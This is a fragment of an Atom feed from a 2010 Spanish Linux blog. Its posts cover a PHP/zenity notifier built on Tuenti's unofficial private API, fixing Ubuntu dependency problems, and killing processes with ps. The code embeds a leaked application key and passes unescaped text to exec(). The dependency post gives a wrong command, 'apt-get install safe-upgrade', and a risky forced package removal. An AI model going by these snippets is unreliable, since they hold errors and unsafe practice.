/&gt;&lt;span style="color: #38761d;"&gt;?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7687776040785711543?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7687776040785711543/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-curl-tuenti-version-modificada.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7687776040785711543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7687776040785711543'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-curl-tuenti-version-modificada.html' title='PHP - Curl a Tuenti (Versión Modificada)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3033561634278602292</id><published>2010-03-22T21:02:00.001+01:00</published><updated>2010-03-22T21:23:43.061+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Tuenti'/><title type='text'>PHP + Shell + Zenity = Monitor Acciones Tuenti</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s1600-h/tuenti-0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s320/tuenti-0.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Perdón a todos por la &lt;b&gt;falta de actualización&lt;/b&gt;. Los temas se me han acabado literalmente y no recibo nuevas &lt;b&gt;preguntas&lt;/b&gt;. Podría hablar de varios juegos y temas muy dispares como las actualizaciones pero hasta Abril no hay versión nueva por lo que nos toca esperar.&lt;br /&gt;&lt;br /&gt;En cualquier caso, he estado trasteando con varios lenguajes y aprendiendo varias cosas. Me hubiera gustado&lt;b&gt; traeros un monitor de actualizaciones de tuenti&lt;/b&gt; a la altura pero vamos, estamos en versión alpha y hemos usado varias herramientas, todo muy rudimentario.&lt;br /&gt;&lt;br /&gt;En cualquier caso, aquí os traigo la explicación de lo que necesitamos:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-cli&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-curl&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install gnome-schedule&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install zenity&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Bien, usaremos PHP para trabajar con la &lt;b&gt;API privada de tuenti &lt;/b&gt;que han revelado con una clase muy sencilla.&lt;br /&gt;Para todo esto, crearemos en nuestro directorio personal una carpeta llamada Tuenti que contendrá lo siguiente:&lt;br /&gt;&lt;b&gt;clase_tuenti.php&lt;/b&gt;&lt;br /&gt;&lt;blockquote style="color: #6aa84f;"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;* tuentiAPI Class&lt;br /&gt;* Sergio Cruz aka scromega (scr.omega at gmail dot com) http://scromega.net&lt;br /&gt;*&lt;br /&gt;* More info:&lt;br /&gt;* http://scromega.net/7-accediendo-a-la-api-cerrada-de-tuenti.html&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;class tuentiAPI {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private $email, $password, $userData;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function __construct($email, $password) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;email = $email;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;password = $password;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = $this-&amp;gt;json('getChallenge', array('type'=&amp;gt;'login'));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = self::http($tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = json_decode($tmp, true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $passcode = md5($tmp[0]['challenge'].md5($password));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $appkey = 'MDI3MDFmZjU4MGExNWM0YmEyYjA5MzRkODlmMjg0MTU6MC4xMzk0ODYwMCAxMjYxMDYwNjk2';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = $this-&amp;gt;json('getSession', array('passcode'=&amp;gt;$passcode,'application_key'=&amp;gt;$appkey,'timestamp'=&amp;gt;$tmp[0]['timestamp'],'seed'=&amp;gt;$tmp[0]['seed'],'email'=&amp;gt;$email));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = self::http($tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = json_decode($tmp, true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;userData = $tmp[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static function http($post) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $headers[] = "Content-length: ".strlen($post)."\r\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $headers[] = $post;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init('http://api.tuenti.com/api/');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $result = curl_exec($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if($result === false) die('Cannot execute request: '.curl_error($ch));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $result;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private function json($method, $parameters) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $array['requests'][0][0] = $method;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $array['requests'][0][1] = $parameters;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(!empty($this-&amp;gt;userData['session_id'])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $array['session_id'] = $this-&amp;gt;userData['session_id'];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $array['version'] = '0.4';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return json_encode($array);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public function request($method, $parameters=array()) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = $this-&amp;gt;json($method, $parameters);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = self::http($tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tmp = json_decode($tmp, true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $tmp[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;/blockquote&gt;&lt;blockquote style="color: #6aa84f;"&gt;?&amp;gt;&lt;/blockquote&gt;&lt;b&gt;tuenti.php&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #6aa84f;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; require_once("clase_tuenti.php");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $con = new tuentiAPI('&lt;span style="color: red;"&gt;tudirecciondemail@example.com&lt;/span&gt;', '&lt;span style="color: red;"&gt;tupassword&lt;/span&gt;');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $r = $con-&amp;gt;request('getUserNotifications', array());&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime = "Notificaciones tuenti:\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=FALSE;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach ($r as $dato){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if ($dato['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['unread_friend_messages']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Mensajes de amigos: ".$r['unread_friend_messages']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['unread_spam_messages']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Mensajes de desconocidos: ".$r['unread_spam_messages']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_profile_wall_posts']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Comentarios: ".$r['new_profile_wall_posts']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_friend_requests']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Peticiones de amigo: ".$r['new_friend_requests']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_photo_wall_posts']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Fotos etiquetadas: ".$r['new_photo_wall_posts']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_photo_wall_posts']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Comentarios en fotos: ".$r['new_photo_wall_posts']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_tagged_photos']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Fotos etiquetadas: ".$r['new_tagged_photos']['count']."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_event_invitations']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Eventos: ".$r['new_event_invitations']['count'];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($salto){&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;        exec('zenity --info --window-icon="/home/&lt;span style="color: red;"&gt;TuUsuario&lt;/span&gt;/Tuenti/favicon.20425.png" --text "'. $imprime .'" --timeout 20');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;Logotipo de favicon de tuenti. Podéis descargalo con el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;wget http://estaticos2.tuenti.com/layout/web2/images/favicon.20425.png&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Bien, ahora iremos a Aplicaciones &amp;gt; Herramientas del Sistema &amp;gt; Tareas programadas y añadiremos la siguiente:&lt;br /&gt;&lt;blockquote&gt;Descripción: Tuenti Monitor &lt;br /&gt;Comando: php "/home/&lt;span style="color: red;"&gt;TuUsuario&lt;/span&gt;/Tuenti/tuenti.php"&lt;br /&gt;Básico: Cada minuto&lt;/blockquote&gt;&lt;br /&gt;Aceptaremos y a partir de ahora si lo hemos hecho bien nos aparecerá una ventana notificándonos las actualizaciones.&lt;br /&gt;&lt;br /&gt;Si te resultara muy molesto el tipo de advertencia lo puedes cambiar por un icono en el área de notificaciones. Para ello en tuenti.php habría que modificar la línea del exec y dejarla así:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #6aa84f;"&gt;exec('zenity --notification --window-icon="/home/&lt;span style="color: red;"&gt;TuUsuario&lt;/span&gt;/Tuenti/favicon.20425.png" --text "'. $imprime .'" --timeout 20');&lt;/span&gt;&lt;/blockquote&gt;Por último recapitulemos. Necesitamos 2 archivos en php y un archivo png. Para poder ejecutar todo bien necesitaremos lo que arriba describí. Todos los archivos deberán ir dentro de la carpeta Tuenti que irá dentro de la carpeta de usuario.&lt;br /&gt;&lt;br /&gt;Todo lo que está en color rojo tendrá que ser modificado por ti para poder usarlo. TuUsuario en mi caso por -&amp;gt; zeyt y en tuenti.php tu usuario y contraseña para tuenti.&lt;br /&gt;&lt;br /&gt;Si tienes alguna pregunta no dudes en comentar y si quieres dar el salto y crear la aplicación en PyGtk, bienvenido seas!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3033561634278602292?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3033561634278602292/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-shell-zenity-monitor-acciones.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3033561634278602292'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3033561634278602292'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-shell-zenity-monitor-acciones.html' title='PHP + Shell + Zenity = Monitor Acciones Tuenti'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s72-c/tuenti-0.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3859719557916867054</id><published>2010-02-25T15:05:00.000+01:00</published><updated>2010-02-25T15:05:48.195+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dependencias'/><category scheme='http://www.blogger.com/atom/ns#' term='Comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu - Problemas con dependencias</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S4aDHHzqSgI/AAAAAAAAAcc/kozX-OLwoq4/s1600-h/Broken+Egg.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S4aDHHzqSgI/AAAAAAAAAcc/kozX-OLwoq4/s320/Broken+Egg.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Un lector nuestro nos comenta que tiene &lt;b&gt;problemas con las dependencias&lt;/b&gt;, al parecer debido a la &lt;b&gt;última actualización de OpenOffice&lt;/b&gt; que está dando algunos &lt;b&gt;problemas&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En cualquier caso si no os &lt;b&gt;inicia sesión el sistema&lt;/b&gt;, tendremos que entrar en el famoso &lt;b&gt;Recovery Mode&lt;/b&gt; (consola pura) y &lt;b&gt;ejecutar ciertos comandos&lt;/b&gt; para arreglarlo.&lt;br /&gt;&lt;br /&gt;Lo primero de todo es&lt;b&gt; arreglar las dependencias&lt;/b&gt; con el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install -f&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Si no funcionara&lt;/b&gt; porque hubiera algún programa que tiene problemas de dependencias &lt;a href="http://donzeyt.blogspot.com/2010/02/linux-matar-procesos-por-consola.html"&gt;podríamos matarlo con el comando kill y ps&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Una vez &lt;b&gt;muerto el proceso&lt;/b&gt; que da problemas tan sólo tendremos que ejecutar el comando anterior de nuevo. &lt;b&gt;Si siguiera dando problemas&lt;/b&gt; trataríamos de &lt;b&gt;borrar el paquete que da problemas mediante fuerza bruta&lt;/b&gt; con el siguiente comando:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo dpkg -r --force-all NombrePaquete&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Si esto siguiera dando problemas trataríamos de actualizar los paquetes mediante los dos siguientes comandos&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install safe-upgrade&lt;/b&gt; &lt;/li&gt;&lt;/ul&gt;Si aún así siguiera dando problemas, &lt;b&gt;antes que formatear existe un comando que nos permite reinstalar todos los paquetes&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo dpkg-reconfigure -phigh -a&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3859719557916867054?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3859719557916867054/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-problemas-con-dependencias.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3859719557916867054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3859719557916867054'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-problemas-con-dependencias.html' title='Ubuntu - Problemas con dependencias'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S4aDHHzqSgI/AAAAAAAAAcc/kozX-OLwoq4/s72-c/Broken+Egg.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7427081038010756553</id><published>2010-02-25T14:43:00.000+01:00</published><updated>2010-02-25T14:43:52.510+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux - Matar Procesos por consola</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S4Z981Lj5yI/AAAAAAAAAcM/hJVus8MgfQA/s1600-h/AutoKillAnyProcessICON.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S4Z981Lj5yI/AAAAAAAAAcM/hJVus8MgfQA/s320/AutoKillAnyProcessICON.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Aunque el &lt;b&gt;monitor de sistema&lt;/b&gt; sea bastante &lt;b&gt;efectivo&lt;/b&gt;, hay veces en las que para &lt;b&gt;matar un proceso&lt;/b&gt; &lt;b&gt;se tarda menos usando la consola&lt;/b&gt;. También es útil la consola para ver ciertos &lt;b&gt;procesos ocultos&lt;/b&gt; que queremos matar y para saber si tenemos algo &lt;b&gt;extraño&lt;/b&gt; como &lt;b&gt;rootkits&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Por todo esto hoy hablaremos del&lt;b&gt; comando ps&lt;/b&gt; y de como matar un proceso desde el terminal. Para &lt;b&gt;ver todos los procesos&lt;/b&gt; tan sólo tendremos que emplear el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;ps -ax&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez ejecutado, nos &lt;b&gt;aparecerá&lt;/b&gt; una &lt;b&gt;lista&lt;/b&gt; bastante grande con todos los procesos y su &lt;b&gt;código identificador&lt;/b&gt;, en el cual tendremos que &lt;b&gt;fijarnos&lt;/b&gt; para matar al proceso.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S4Z9x9aAb1I/AAAAAAAAAcE/0RDM_tfVzjs/s1600-h/matar_procesos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S4Z9x9aAb1I/AAAAAAAAAcE/0RDM_tfVzjs/s320/matar_procesos.png" 